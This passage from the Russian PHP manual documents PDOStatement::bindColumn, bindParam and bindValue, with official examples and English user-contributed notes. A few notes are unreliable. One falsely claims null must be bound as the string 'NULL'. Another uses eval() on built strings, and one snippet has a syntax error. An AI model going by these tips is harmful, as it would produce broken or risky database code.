Однако, при работе с драйвером PgSQL, когда привязывается столбец с LOB-данными, приложению необходимо вызывать этот метод до вызова PDOStatement::execute(). В противном случае идентификатор большого объекта OID будет иметь тип integer.

Список параметров

column

Номер столбца (начиная с 1) или его имя в результирующем наборе запроса. Используя имя столбца, имейте в виду, что имя должно быть в том же регистре, в каком оно возвращено драйвером.

var

Имя переменной PHP, к которой требуется привязать столбец.

type

Тип данных параметра, заданный одной из констант PDO::PARAM_*.

maxLength

Подсказка для предварительного выделения памяти под переменную.

driverOptions

Дополнительные параметры для драйвера.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Ошибки

Выдаёт ошибку уровня E_WARNING, если атрибуту PDO::ATTR_ERRMODE установлено значение PDO::ERRMODE_WARNING.

Выбрасывает исключение PDOException, если атрибуту PDO::ATTR_ERRMODE установлено значение PDO::ERRMODE_EXCEPTION.

Примеры

Пример #1 Связывание результирующего набора с переменными PHP

Привязывание столбцов результирующего набора к PHP переменным является эффективным способом сразу сделать данные каждой строки набора доступными приложению. В следующем примере показано, как PDO позволяет привязывать переменные и получать данные столбцов, принимая различные настройки и умолчания.

<?php
$stmt = $dbh->prepare('SELECT name, colour, calories FROM fruit');
$stmt->execute();

/* Bind by column number */
$stmt->bindColumn(1, $name);
$stmt->bindColumn(2, $colour);

/* Bind by column name */
$stmt->bindColumn('calories', $cals);

while ($stmt->fetch(PDO::FETCH_BOUND)) {
print $name . "\t" . $colour . "\t" . $cals . "\n";
}

Результат выполнения данного примера:

apple   red     150
banana  yellow  175
kiwi    green   75
orange  orange  150
mango   red     200
strawberry      red     25

Смотрите также

  • PDOStatement::execute() - Запускает подготовленный запрос на выполнение
  • PDOStatement::fetch() - Извлечение следующей строки из результирующего набора
  • PDOStatement::fetchAll() - Выбирает оставшиеся строки из набора результатов
  • PDOStatement::fetchColumn() - Возвращает данные одного столбца следующей строки результирующего набора

User Contributed Notes

Moses Blumenstiel 05-Jan-2021 05:34
I wanted to efficiently bind columns and then put everything into one array.

<?php

        $columns = array(
            'DEVICE_CONFIG' => '',
            'CONSUMABLE_INFO' => '',
            'DEVICE_UNIQUE_ID' => '',
            'STATUS' => '',
            'STATUS_MESSAGE' => '',
            'LAST_MESSAGE_TIME' => '',
            'DEVICE_DESCRIPTION' => ''
        );

        $statement = $this->connection->prepare($sql);

        $statement->execute();

        $x = 1;
        foreach($columns as $column => $index){
            $$column = $index;
            eval('$statement->bindColumn(' . $x++ . ', $' . $column . ');');
        }

        $output= array();
        while($statement->fetch(\PDO::FETCH_BOUND)){
            $temp = array();
            foreach($columns as $columnName => $val){
                eval("\$data = \$$columnName;");
                $temp[$columnName] = $data;
            }
            $output[] = $temp;
        }
?>


Привязывает параметр запроса к переменной

  • « PDOStatement::bindColumn
  • PDOStatement::bindValue »
  • PHP Manual
  • PDOStatement
  • Привязывает параметр запроса к переменной

PDOStatement::bindParam

(PHP 5 >= 5.1.0, PHP 7, PHP 8, PECL pdo >= 0.1.0)

PDOStatement::bindParam — Привязывает параметр запроса к переменной

Описание

public PDOStatement::bindParam(
string|int $param,
mixed &$var,
int $type = PDO::PARAM_STR,
int $maxLength = 0,
mixed $driverOptions = null
): bool

Связывает переменную PHP с именованным или неименованным параметром подготавливаемого SQL-запроса. В отличие от PDOStatement::bindValue(), переменная привязывается по ссылке и её значение будет вычисляться во время вызова PDOStatement::execute().

В большинстве случаев в подготавливаемых запросах используются только входные параметры, то есть при построении запроса доступ к ним осуществляется только в режиме чтения (возможно приведение в соответствии с type). Тем не менее, некоторые драйверы позволяют запускать хранимые процедуры, которые, в свою очередь, могут возвращать данные посредством выходных параметров. Зачастую, такие параметры используются одновременно как входные и как выходные.

Список параметров

param

Идентификатор параметра. Для подготавливаемых запросов с именованными параметрами это будет имя в виде :name. Если используются неименованные параметры (знаки вопроса ?) это будет позиция псевдопеременной в запросе (начиная с 1).

var

Имя переменной PHP, которую требуется привязать к параметру SQL-запроса.

type

Явно заданный тип данных параметра. Тип задаётся одной из констант PDO::PARAM_*. Если параметр используется, в том числе для вывода информации из хранимой процедуры, к значению аргумента type необходимо добавить PDO::PARAM_INPUT_OUTPUT, используя оператор побитовое ИЛИ.

maxLength

Размер типа данных. Чтобы указать, что параметр используется для вывода данных из хранимой процедуры, необходимо явно задать его размер. Имеет значение, только если у параметра type установлено значение PDO::PARAM_INPUT_OUTPUT.

driverOptions

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Ошибки

Выдаёт ошибку уровня E_WARNING, если атрибуту PDO::ATTR_ERRMODE установлено значение PDO::ERRMODE_WARNING.

Выбрасывает исключение PDOException, если атрибуту PDO::ATTR_ERRMODE установлено значение PDO::ERRMODE_EXCEPTION.

Примеры

Пример #1 Выполнение подготовленного запроса с именованными псевдопеременными

<?php
/* Выполнение запроса с привязкой PHP-переменных */
$calories = 150;
$colour = 'red';
$sth = $dbh->prepare('SELECT name, colour, calories
FROM fruit
WHERE calories < :calories AND colour = :colour');
$sth->bindParam('calories', $calories, PDO::PARAM_INT);
/* Имена также могут начинаться с двоеточия ":" (необязательно) */
$sth->bindParam(':colour', $colour, PDO::PARAM_STR);
$sth->execute();
?>

Пример #2 Выполнение подготовленного запроса с неименованными псевдопеременными (?)

<?php
/* Выполнение запроса с привязкой PHP-переменных */
$calories = 150;
$colour = 'red';
$sth = $dbh->prepare('SELECT name, colour, calories
FROM fruit
WHERE calories < ? AND colour = ?');
$sth->bindParam(1, $calories, PDO::PARAM_INT);
$sth->bindParam(2, $colour, PDO::PARAM_STR);
$sth->execute();
?>

Пример #3 Вызов хранимой процедуры с INOUT-параметром

<?php
/* Вызов хранимой процедуры с INOUT-параметром */
$colour = 'red';
$sth = $dbh->prepare('CALL puree_fruit(?)');
$sth->bindParam(1, $colour, PDO::PARAM_STR|PDO::PARAM_INPUT_OUTPUT, 12);
$sth->execute();
print "После приготовления фруктового пюра, цвет - $colour";
?>

Смотрите также

  • PDO::prepare() - Подготавливает запрос к выполнению и возвращает связанный с этим запросом объект
  • PDOStatement::execute() - Запускает подготовленный запрос на выполнение
  • PDOStatement::bindValue() - Связывает параметр с заданным значением

User Contributed Notes

marco dot marsala at live dot it 23-Nov-2023 08:26
Examples doesn't highlight that this works as expected:

<?php
/* Execute a prepared statement by binding PHP variables */
$sth = $dbh->prepare('SELECT name, colour, calories
    FROM fruit
    WHERE calories < :calories AND colour = :colour');
$sth->bindParam('calories', $calories, PDO::PARAM_INT);
/* Names can be prefixed with colons ":" too (optional) */
$sth->bindParam(':colour', $colour, PDO::PARAM_STR);
$calories = 150;
$colour = 'red';
$sth->execute();
?>

calories get set to 150 in db, colour get set to red in db, because, as documentation points out: "the variable is bound as a reference and will only be evaluated at the time that PDOStatement::execute() is called."
weronika dot nowak dot code at gmail dot com 17-Oct-2022 10:55
??????
<?php
$q = "SELECT id, name FROM test WHERE name like '%:foo%'";
$s = "carrot";
$sth = $dbh->prepare($q);
$sth->bindParam(':foo', $s);
$sth->execute();
?>

It's true, this ? won't work but you can use concatenation ?:

<?php
$q = "SELECT id, name FROM test WHERE name like '%' ||
:foo || '%' ";
$s = "carrot";
$sth = $dbh->prepare($q);
$sth->bindParam(':foo', $s);
$sth->execute();
?>
jcastromail at yahoo dot es 04-Feb-2022 02:20
PHP 8.1 changed the way how this method works.

Now, the fourth method must not be null. It could be 0 (for an int) but it could not be null, otherwise, it will raise a deprecated warning.

old:
$sth->bindParam('calories', $calories, PDO::PARAM_INT);
new:
$sth->bindParam('calories', $calories, PDO::PARAM_INT,0);
Tristen Edwin 14-Jul-2018 09:41
Here's how to build a dynamic WHERE LIKE at run time when the user can submit n keywords

<?php

if (array_key_exists('storyPieces', $_POST)) {
    $story_pieces = explode(',' $_POST['storyPieces']);
        foreach($story_pieces as $piece) {
        if ($conditional_count == 0) {
            $where_clause .= 'story LIKE ? ';
            $conditional_count++;
       } else {
            $where_clause .= 'AND story LIKE ? ';
            $conditional_count++;
       }
       }
}

// then after you've prepared

if (isset($story_pieces)) {
    foreach($story_pieces as $key => &$piece) {
        $piece = "%" . $piece . "%";
        $sth->bindParam($key + 1, $piece, PDO::PARAM_STR);
    }
}

?>
Ejaz Ansari 11-Mar-2016 03:40
For those who are confused on insert query using PDO-bindparam:

$sql = $db->prepare("INSERT INTO db_fruit (id, type, colour) VALUES (? ,? ,?)");

$sql->bindParam(1, $newId);
$sql->bindParam(2, $name);
$sql->bindParam(3, $colour);
$sql->execute();
heather dot begazo at gmail dot com 09-Apr-2015 05:56
The documentation says this about the length parameter for bindParam:

"To indicate that a parameter is an OUT parameter from a stored procedure, you must explicitly set the length. "

For db2, I found that setting the length for the "INPUT_OUTPUT" parameters causes a problem for varchar parameters that are input parameters.  The problem I found is that the stored procedure was called, but varchar input parameters were set to null inside my stored procedure and as a result, the stored procedure could not work properly.

Here is the signature for my stored procedure:

CREATE OR REPLACE PROCEDURE MY_SCHEMA_NAME.MY_STORED_PROCEDURE_NAME ( IN RUN_ID INTEGER,IN V_SCHEMA_NAME VARCHAR(128),
  OUT out_rc INTEGER,OUT out_err_message VARCHAR(100),OUT out_sqlstate CHAR(5) ,OUT out_sqlcode INT)

Here is the php code that works:

$command = "Call MY_SCHEMA_NAME.MY_STORED_PROCEDURE_NAME (?,?,?,?,?,?,?)";
$stmt = $this->GuestDb->prepare($command);
$stmt->bindParam(1, $RUN_ID, PDO::PARAM_INT);
$stmt->bindParam(2, $V_SCHEMA_NAME, PDO::PARAM_STR);
$stmt->bindParam(3, $V_TABNAME, PDO::PARAM_STR);
$stmt->bindParam(4, $out_rc, PDO::PARAM_INT|PDO::PARAM_INPUT_OUTPUT);
$stmt->bindParam(5, $out_err_message, PDO::PARAM_STR|PDO::PARAM_INPUT_OUTPUT);
$stmt->bindParam(6, $out_sqlstate, PDO::PARAM_STR|PDO::PARAM_INPUT_OUTPUT);
$stmt->bindParam(7, $out_sqlcode, PDO::PARAM_INT|PDO::PARAM_INPUT_OUTPUT);

Here is the php code that does not work:

$command = "Call MY_SCHEMA_NAME.MY_STORED_PROCEDURE_NAME (?,?,?,?,?,?,?)";
$stmt = $this->GuestDb->prepare($command);
$stmt->bindParam(1, $RUN_ID, PDO::PARAM_INT,12);
$stmt->bindParam(2, $V_SCHEMA_NAME, PDO::PARAM_STR,128);
$stmt->bindParam(3, $V_TABNAME, PDO::PARAM_STR,100);
$stmt->bindParam(4, $out_rc, PDO::PARAM_INT|PDO::PARAM_INPUT_OUTPUT,12);
$stmt->bindParam(5, $out_err_message, PDO::PARAM_STR|PDO::PARAM_INPUT_OUTPUT,100);
$stmt->bindParam(6, $out_sqlstate, PDO::PARAM_STR|PDO::PARAM_INPUT_OUTPUT,6);
$stmt->bindParam(7, $out_sqlcode, PDO::PARAM_INT|PDO::PARAM_INPUT_OUTPUT,12);
gilhildebrand at gmail dot com 02-Feb-2015 04:50
MySQL will return an error if a named placeholder has a hyphen in it:
UPDATE wardrobe SET `T-Shirt`=:T-SHIRT WHERE id=:id

Will return the following error: PDOException' with message 'SQLSTATE[HY093]: Invalid parameter number: parameter was not defined'

To resolve, just remove hyphens from named placeholders:
UPDATE wardrobe SET `T-Shirt`=:TSHIRT WHERE id=:id
Vladimir Kovpak 02-Feb-2015 01:08
<?php
/**
 * Bind bit value:
 */

$sql = 'SELECT * FROM myTable WHERE level & ?';
$sth = \App::pdo()->prepare($sql);
$sth->bindValue(1, 0b0101, \PDO::PARAM_INT);
$sth->execute();
$result = $sth->fetchAll(\PDO::FETCH_ASSOC);
luis dot nestesitio at gmail dot com 11-Dec-2014 10:22
Avoid to use a param with dot like ":table.column".
It will return a error 'PDOException' with message 'SQLSTATE[HY093]: Invalid parameter number: parameter was not defined' in ...
Ofir Attia 19-Jul-2014 06:09
/*
   method for pdo class connection, you can add your cases by    yourself and use it.
*/
class Conn{
....
....
private $stmt;
public function bind($parameter, $value, $var_type = null){
        if (is_null($var_type)) {
            switch (true) {
                               case is_bool($value):
                    $var_type = PDO::PARAM_BOOL;
                    break;
                case is_int($value):
                    $var_type = PDO::PARAM_INT;
                    break;
                case is_null($value):
                    $var_type = PDO::PARAM_NULL;
                    break;
                default:
                    $var_type = PDO::PARAM_STR;
            }
        }
        $this->stmt->bindValue($parameter, $value, $var_type);
    }
pegas1981 at yandex dot ru 16-Dec-2013 11:56
http://technet.microsoft.com/en-us/library/ff628166(v=sql.105).aspx

When binding null data to server columns of type varbinary, binary, or varbinary(max) you should specify binary encoding (PDO::SQLSRV_ENCODING_BINARY) using the $driver_options. See Constants for more information about encoding constants.
Support for PDO was added in version 2.0 of the Microsoft Drivers for PHP for SQL Server.

 <?php
$db = new PDO('sqlsrv:server=SQLSERVERNAME;Database=own_exchange', 'user', 'password');
$sql = "INSERT INTO dbo.files(file_name, file_source) VALUES(:file_name, :file_source)";
$stmt = $db->prepare($sql);
$stmt->bindParam(":file_name", $files->name, PDO::PARAM_STR);
$stmt->bindParam(":file_source", file_get_contents($files->tempName), PDO::PARAM_LOB, 0, PDO::SQLSRV_ENCODING_BINARY);
$stmt->execute();
?>
Mike Robinson 26-Jan-2013 11:56
Note that with bindParam the second parameter is passed by reference. This means that the following will produce a warning if E_STRICT is enabled:

<?php
$stmt->bindParam('type', $object->getType());

// Strict Standards: Only variables should be passed by reference in /path/to/file.php on line 123
?>

If the second parameter is not an actual variable, either set the result of $object->getType(); to a variable and use that variable in bindParam or use bindValue instead.
flannell 21-Aug-2012 12:27
Spent all day banging my head against a brick wall.

Tried to use INOUT or OUT and getting the return variable into PHP using Mysql v5.5.16 on XAMPP.

"MySQL doesn't supporting binding output parameters via its C API.  You must use SQL level variables:"

<?php
$stm = $db->prepare("CALL sp_mysp(:Name, :Email, @sp_result)");

$outputArray = $db->query("select @sp_result")->fetch(PDO::FETCH_ASSOC);
?>

So the 'workaround' for Mysql and PDO is to use two SQL calls.

Hope this helps someone.
khkiley at adamsautomation dot com 20-Aug-2012 09:56
SQL Server 2008 R2

If this was in the documentation, I didn't stumble across it. When using bound output parameters with a stored procedure, the output parameters are updated AFTER the LAST rowset has been processed.

If your stored procedure does not return any rowsets (no SELECT statements) then you are set, your output parameters will be ready as soon as the stored procedure is processed.

Otherwise you need to process the rows, and then:
<?php $stmt->nextRowset(); ?>

Once that is done for each returning rowset you will have access to the output parameters.
cyrylas at gmail dot com 10-Jan-2011 01:23
Please note, that PDO format numbers according to current locale. So if, locale set number format to something else, that standard that query WILL NOT work properly.

For example:
in Polish locale (pl_PL) proper decimal separator is coma (","), so: 123,45, not 123.45. If we try bind 123.45 to the query, we will end up with coma in the query.

<?php
setlocale(LC_ALL, 'pl_PL');
$sth = $dbh->prepare('SELECT name FROM products WHERE price < :price');
$sth->bindParam(':price', 123.45, PDO::PARAM_STR);
$sth->execute();
// result:
// SELECT name FROM products WHERE price < '123,45';
?>
ReK_ 19-Oct-2010 10:59
This confused me for some time because it is never explicitly mentioned, but PDO will automagically encapsulate parameters for you, so a prepared query that is manually escaped like so:

"INSERT INTO table (column) VALUES (':value');"

Will actually end up being double-quoted and can cause problems.
atrandafirc at yahoo dot com 31-Aug-2010 06:37
I know this has been said before but I'll write a note on it too because I think it's important to keep in mind:

If you use PDO bindParam to do a search with a LIKE condition you cannot put the percentages and quotes to the param placeholder '%:keyword%'.

This is WRONG:
"SELECT * FROM `users` WHERE `firstname` LIKE '%:keyword%'";

The CORRECT solution is to leave clean the placeholder like this:
"SELECT * FROM `users` WHERE `firstname` LIKE :keyword";

And then add the percentages to the php variable where you store the keyword:
$keyword = "%".$keyword."%";

And finally the quotes will be automatically added by PDO when executing the query so you don't have to worry about them.

So the full example would be:
<?php
// Get the keyword from query string
$keyword = $_GET['keyword'];
// Prepare the command
$sth = $dbh->prepare('SELECT * FROM `users` WHERE `firstname` LIKE :keyword');
// Put the percentage sing on the keyword
$keyword = "%".$keyword."%";
// Bind the parameter
$sth->bindParam(':keyword', $keyword, PDO::PARAM_STR);
?>
sergiy dot sokolenko at gmail dot com 02-Jul-2010 03:22
Note that you cannot mix named and positional parameters in one query:

<?php
$stmt = $conn->prepare('SELECT * FROM employees WHERE name LIKE :name OR email LIKE ?');
$name = 'John%';
$email = 'john%';

$stmt->bindParam(':name', $name);
$stmt->bindParam(1, $email);

$stmt->execute();
?>

Fatal error: Uncaught exception 'PDOException' with message 'SQLSTATE[HY093]: Invalid parameter number: mixed named and positional parameters' in ...

Running PHP 5.3.2 on Linux x86-64
Vili 28-May-2010 12:01
This works ($val by reference):
<?php
foreach ($params as $key => &$val) {
    $sth->bindParam($key, $val);
}
?>

This will fail ($val by value, because bindParam needs &$variable):
<?php
foreach ($params as $key => $val) {
    $sth->bindParam($key, $val);
}
?>
geompse at gmail dot com 29-Jan-2010 03:30
if you are storing files (or binary data), using PARAM_LOB (and moreover trying to do this with Oracle), don't miss this page :

http://php.net/manual/en/pdo.lobs.php

You will there notice that PDO-PGSQL and PDO-OCI don't work the same at all : not the same argument nor the same behaviour.
Steve M 19-Nov-2009 11:28
Note that when using PDOStatement::bindParam an integer is changed to a string value upon PDOStatement::execute(). (Tested with MySQL).

This can cause problems when trying to compare values using the === operator.

Example:
<?php
$active = 1;
var_dump($active);
$ps->bindParam(":active", $active, PDO::PARAM_INT);
var_dump($active);
$ps->execute();
var_dump($active);
if ($active === 1) {
    // do something here
    // note: this will fail since $active is now "1"
}
?>

results in:
int(1)
int(1)
string(1) "1"
dhammari at q90 dot com 08-Jul-2009 11:22
There seems to be some confusion about whether you can bind a single value to multiple identical placeholders. For example:

$sql = "SELECT * FROM user WHERE is_admin = :myValue AND is_deleted = :myValue ";

$params = array("myValue" => "0");

Some users have reported that attempting to bind a single parameter to multiple placeholders yields a parameter mismatch error in PHP version 5.2.0 and earlier. Starting with version 5.2.1, however, this seems to work just fine.

For details, see bug report 40417:
http://bugs.php.net/bug.php?id=40417
jeffwa+php at gmail dot com 11-Jul-2007 01:49
Took me forever to find this elsewhere in the notes in the manual, so I'd thought I'd put this tidbit here to help others in the future.

When using a LIKE search in MySQL along with a prepared statement, the *value* must have the appropriate parentheses attached before the bindParam() statement as such:

<?php
$dbc = $GLOBALS['dbc'];
$sql = "SELECT * FROM `tbl_name` WHERE tbl_col LIKE ?";
$stmt = $dbc->prepare($sql);

$value = "%{$value}%";
$stmt->bindParam($i, $value, PDO::PARAM_STR);
?>

Trying to use
<?php
$stmt->bindParam($i, "%{$value}%", PDO::PARAM_STR);
?>

will fail.
willie at spenlen dot com 14-Jun-2007 11:49
If you're using the MySQL driver and have a stored procedure with an OUT or INOUT parameter, you can't (currently) use bindValue(). See http://bugs.php.net/bug.php?id=35935 for a workaround.
Filofox 10-Apr-2006 03:09
Do not try to use the same named parameter twice in a single SQL statement, for example

<?php
$sql = 'SELECT * FROM some_table WHERE  some_value > :value OR some_value < :value';
$stmt = $dbh->prepare($sql);
$stmt->execute( array( ':value' => 3 ) );
?>

...this will return no rows and no error -- you must use each parameter once and only once. Apparently this is expected behavior (according to this bug report: http://bugs.php.net/bug.php?id=33886)  because of portability issues.
05-Feb-2006 02:25
A caution for those using bindParam() on a placeholder in a
LIKE '%...%' clause, the following code will likely not work:

<?php
$q = "SELECT id, name FROM test WHERE name like '%:foo%'";
$s = "carrot";
$sth = $dbh->prepare($q);
$sth->bindParam(':foo', $s);
$sth->execute();
?>

What is needed is something like the following:

<?php
$s = "%$s%";
$sth->bindParam(':foo', $s);
?>

This should work. Tested against mysql 4.1, PHP 5.1.3.


Связывает параметр с заданным значением

  • « PDOStatement::bindParam
  • PDOStatement::closeCursor »
  • PHP Manual
  • PDOStatement
  • Связывает параметр с заданным значением

PDOStatement::bindValue

(PHP 5 >= 5.1.0, PHP 7, PHP 8, PECL pdo >= 1.0.0)

PDOStatement::bindValue — Связывает параметр с заданным значением

Описание

public PDOStatement::bindValue(string|int $param, mixed $value, int $type = PDO::PARAM_STR): bool

Задаёт значение именованной или неименованной псевдопеременной в подготовленном SQL-запросе.

Список параметров

param

Идентификатор параметра запроса. Для подготавливаемых запросов с именованными параметрами это будет имя в виде :name. Если используются неименованные параметры (знаки вопроса ?) это будет позиция псевдопеременной в запросе (начиная с 1).

value

Значение, которое требуется привязать к параметру.

type

Явно заданный тип данных параметра. Тип задаётся одной из констант PDO::PARAM_*.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Ошибки

Выдаёт ошибку уровня E_WARNING, если атрибуту PDO::ATTR_ERRMODE установлено значение PDO::ERRMODE_WARNING.

Выбрасывает исключение PDOException, если атрибуту PDO::ATTR_ERRMODE установлено значение PDO::ERRMODE_EXCEPTION.

Примеры

Пример #1 Выполнение подготовленного запроса с именованными псевдопеременными

<?php
/* Выполнение запроса с привязкой PHP-переменных */
$calories = 150;
$colour = 'red';
$sth = $dbh->prepare('SELECT name, colour, calories
FROM fruit
WHERE calories < :calories AND colour = :colour');

/* Устанавливает значение параметра, используя его имя */
$sth->bindValue('calories', $calories, PDO::PARAM_INT);
/* По желанию, в именах параметров можно также ставить двоеточие ":" */
$sth->bindValue(':colour', $colour, PDO::PARAM_STR);
$sth->execute();
?>

Пример #2 Выполнение подготовленного запроса с неименованными псевдопеременными (?)

<?php
/* Выполнение запроса с привязкой PHP-переменных */
$calories = 150;
$colour = 'red';
$sth = $dbh->prepare('SELECT name, colour, calories
FROM fruit
WHERE calories < ? AND colour = ?');
$sth->bindValue(1, $calories, PDO::PARAM_INT);
$sth->bindValue(2, $colour, PDO::PARAM_STR);
$sth->execute();
?>

Смотрите также

  • PDO::prepare() - Подготавливает запрос к выполнению и возвращает связанный с этим запросом объект
  • PDOStatement::execute() - Запускает подготовленный запрос на выполнение
  • PDOStatement::bindParam() - Привязывает параметр запроса к переменной

User Contributed Notes

sageptr at gmail dot com 28-Sep-2016 03:32
Be careful in edge cases!
With MySQL native prepares your integer can be wrapped around on some machines:

<?php
$x = 2147483648;
var_dump($x); // prints: int(2147483648)
$s = $db->prepare('SELECT :int AS I, :str AS S;');
$s->bindValue(':int', $x, PDO::PARAM_INT);
$s->bindValue(':str', $x, PDO::PARAM_STR);
$s->execute();
var_dump( $s->fetchAll(PDO::FETCH_ASSOC) );
/* prints: array(2) {
  ["I"]=>
  string(11) "-2147483648"
  ["S"]=>
  string(10) "2147483648"
} */
?>

Also, trying to bind PDO::PARAM_BOOL in MySQL with native prepares can make your query silently fail and return empty set.

Emulated prepares work more stable in this cases, because they convert everything to strings and just decide whenever to quote argument or not to quote.
e-ruiz at git hub 23-Sep-2016 04:40
Be careful when trying to validate using PDO::PARAM_INT.

Take this sample into account:

<?php
/* php --version
 * PHP 5.6.25 (cli) (built: Aug 24 2016 09:50:46)
 * Copyright (c) 1997-2016 The PHP Group
 * Zend Engine v2.6.0, Copyright (c) 1998-2016 Zend Technologies
 */

$id = '1a';
$stm = $pdo->prepare('select * from author where id = :id');
$bind = $stm->bindValue(':id', $id, PDO::PARAM_INT);

$stm->execute();
$authors = $stm->fetchAll();

var_dump($id);         // string(2)
var_dump($bind);       // true
var_dump((int)$id);    // int(1)
var_dump(is_int($id)); // false
var_dump($authors);    // the author id=1  =(

// remember
var_dump(1 == '1');    // true
var_dump(1 === '1');   // false
var_dump(1 === '1a');  // false
var_dump(1 == '1a');   // true
?>

My opinion: bindValue() should test is_int() internaly first of anything,
It is a bug? I'm not sure.
D.Kellner 15-Jan-2016 05:48
When binding parameters, apparently you can't use a placeholder twice (e.g. "select * from mails where sender=:me or recipient=:me"), you'll have to give them different names otherwise your query will return empty handed (but not fail, unfortunately).  Just in case you're struggling with something like this.
consatangmailcom 24-Sep-2015 11:04
The parameter must names like a php variable.
e.g.
<?php
$dbh = new PDO("mysql:dbname=test;host=127.0.0.1", "user", "password");

$sth = $dbh->prepare("SELECT * FROM `table` WHERE `last-name`=:last-name");

if($sth !== false && $sth->bindValue(":last-name", "Ngo")) {
    $sth->execute();
}

// output: PHP Warning:  PDOStatement::execute(): SQLSTATE[HY093]: Invalid parameter number: parameter was not defined
?>
Vladimir Kovpak 19-Feb-2015 06:11
<?php
/**
* Bind bit value.
*/

$sql = 'SELECT * FROM myTable WHERE level & ?';
$sth = \App::pdo()->prepare($sql);
$sth->bindValue(1, 0b0101, \PDO::PARAM_INT);
$sth->execute();
$result = $sth->fetchAll(\PDO::FETCH_ASSOC);
me at iabdullah dot info 07-Aug-2014 09:47
The reason that we cannot define the value variable for bindValue() after calling it, is because that it binds the value to the prepared statement immediately and does not wait until the execute() to happen.

The following code will issue a notice and prevent the query from taking place:
<?php
    $st = $db->prepare ("SELECT * FROM posts WHERE id= :val ");
    $st->bindValue(':val',$val);

    $val = '2';
    $st->execute();
?>
The output:
Notice: Undefined variable: val.

Whereas in the case of bindParam, the evaluation of the value to the parameter will not be performed until the call of execute(). And that's to gain the benefit of reference passing.
<?php
    $st = $db->prepare ("SELECT * FROM posts WHERE id = :val ");
    $st->bindParam(':val',$val);

    $val = '2';
    //
    // some code
    //
    $val = '3'; // re-assigning the value variable
    $st->execute();
?>
works fine.
contact[at]maximeelomari.com 17-Jul-2011 05:19
This function is useful for bind value on an array. You can specify the type of the value in advance with $typeArray.

<?php
/**
 * @param string $req : the query on which link the values
 * @param array $array : associative array containing the values ??to bind
 * @param array $typeArray : associative array with the desired value for its corresponding key in $array
 * */
function bindArrayValue($req, $array, $typeArray = false)
{
    if(is_object($req) && ($req instanceof PDOStatement))
    {
        foreach($array as $key => $value)
        {
            if($typeArray)
                $req->bindValue(":$key",$value,$typeArray[$key]);
            else
            {
                if(is_int($value))
                    $param = PDO::PARAM_INT;
                elseif(is_bool($value))
                    $param = PDO::PARAM_BOOL;
                elseif(is_null($value))
                    $param = PDO::PARAM_NULL;
                elseif(is_string($value))
                    $param = PDO::PARAM_STR;
                else
                    $param = FALSE;

                if($param)
                    $req->bindValue(":$key",$value,$param);
            }
        }
    }
}

/**
 * ## EXEMPLE ##
 * $array = array('language' => 'php','lines' => 254, 'publish' => true);
 * $typeArray = array('language' => PDO::PARAM_STR,'lines' => PDO::PARAM_INT,'publish' => PDO::PARAM_BOOL);
 * $req = 'SELECT * FROM code WHERE language = :language AND lines = :lines AND publish = :publish';
 * You can bind $array like that :
 * bindArrayValue($array,$req,$typeArray);
 * The function is more useful when you use limit clause because they need an integer.
 * */
?>
Anonymous 18-Jun-2011 08:40
Note that the third parameter ($data_type) in the majority of cases will not type cast the value into anything else to be used in the query, nor will it throw any sort of error if the type does not match up with the value provided. This parameter essentially has no effect whatsoever except throwing an error if it is set and is not a float, so do not think that it is adding any extra level of security to the queries.

The two exceptions where type casting is performed:

- if you use PDO::PDO_PARAM_INT and provide a boolean, it will be converted to a long
- if you use PDO::PDO_PARAM_BOOL and provide a long, it will be converted to a boolean

<?php

$query = 'SELECT * FROM `users` WHERE username = :username AND `password` = ENCRYPT( :password, `crypt_password`)';

$sth= $dbh->prepare($query);

// First try passing a random numerical value as the third parameter
var_dump($sth->bindValue(':username','bob', 12345.67)); // bool(true)

// Next try passing a string using the boolean type
var_dump($sth->bindValue(':password','topsecret_pw', PDO::PARAM_BOOL)); // bool(true)

$sth->execute(); // Query is executed successfully
$result = $sth->fetchAll(); // Returns the result of the query

?>
goofiq dot no dot spam at antispam dot wp dot pl 27-Dec-2009 10:43
bindValue with data_type depend parameter name

<?php

$db = new PDO (...);
$db -> setAttribute (PDO::ATTR_STATEMENT_CLASS, array ('MY_PDOStatement ', array ($db)));

class MY_PDOStatement extends PDOStatement {

  public function execute ($input = array ()) {
    foreach ($input as $param => $value) {
      if (preg_match ('/_id$/', $param))
        $this -> bindValue ($param, $value, PDO::PARAM_INT);
      else
        $this -> bindValue ($param, $value, PDO::PARAM_STR);
    }
    return parent::execute ();
  }

}

?>
cpd-dev 11-Dec-2009 04:46
Although bindValue() escapes quotes it does not escape "%" and "_", so be careful when using LIKE. A malicious parameter full of %%% can dump your entire database if you don't escape the parameter yourself. PDO does not provide any other escape method to handle it.
nicolas dot baptiste at gmail dot com 04-Sep-2009 08:06
This actually works to bind NULL on an integer field in MySQL :

$stm->bindValue(':param', null, PDO::PARAM_INT);
Lambdaman 30-Apr-2009 05:19
If you want to bind a null value to a database field you must use 'NULL' in quotes (for MySQL):

<?php

$stmt->bindValue(:fieldName, 'NULL');

// not
$stmt->bindValue(:fieldName, NULL);
// or
$stmt->bindValue(:fieldName, null);

?>

Using PHP's null/NULL as a value doesn't work.
streaky at mybrokenlogic dot com 08-Jan-2008 02:20
What the bindValue() docs fail to explain without reading them _very_ carefully is that bindParam() is passed to PDO byref - whereas bindValue() isn't.

Thus with bindValue() you can do something like $stmt->bindValue(":something", "bind this"); whereas with bindParam() it will fail because you can't pass a string by reference, for example.
ts//tpdada//art//pl 15-Dec-2006 06:34
For bind whole array at once

<?php

function PDOBindArray(&$poStatement, &$paArray){

  foreach ($paArray as $k=>$v){

    @$poStatement->bindValue(':'.$k,$v);

  } // foreach

 } // function

// example

$stmt = $dbh->prepare("INSERT INTO tExample (id,value) VALUES (:id,:value)");

$taValues = array(
 'id' => '1',
 'value' => '2'
); // array

PDOBindArray($stmt,$taValues);

$stmt->execute();

?>


Закрывает курсор, переводя запрос в состояние готовности к повторному запуску

  • « PDOStatement::bindValue
  • PDOStatement::columnCount »
  • PHP Manual
  • PDOStatement
  • Закрывает курсор, переводя запрос в состояние готовности к повторному запуску

PDOStatement::closeCursor

(PHP 5 >= 5.1.0, PHP 7, PHP 8, PECL pdo >= 0.9.0)

PDOStatement::closeCursor — Закрывает курсор, переводя запрос в состояние готовности к повторному запуску

Описание

public PDOStatement::closeCursor(): bool

PDOStatement::closeCursor() освобождает соединение с сервером, давая возможность запускать другие SQL-запросы. Метод оставляет запрос в состоянии готовности к повторному запуску.

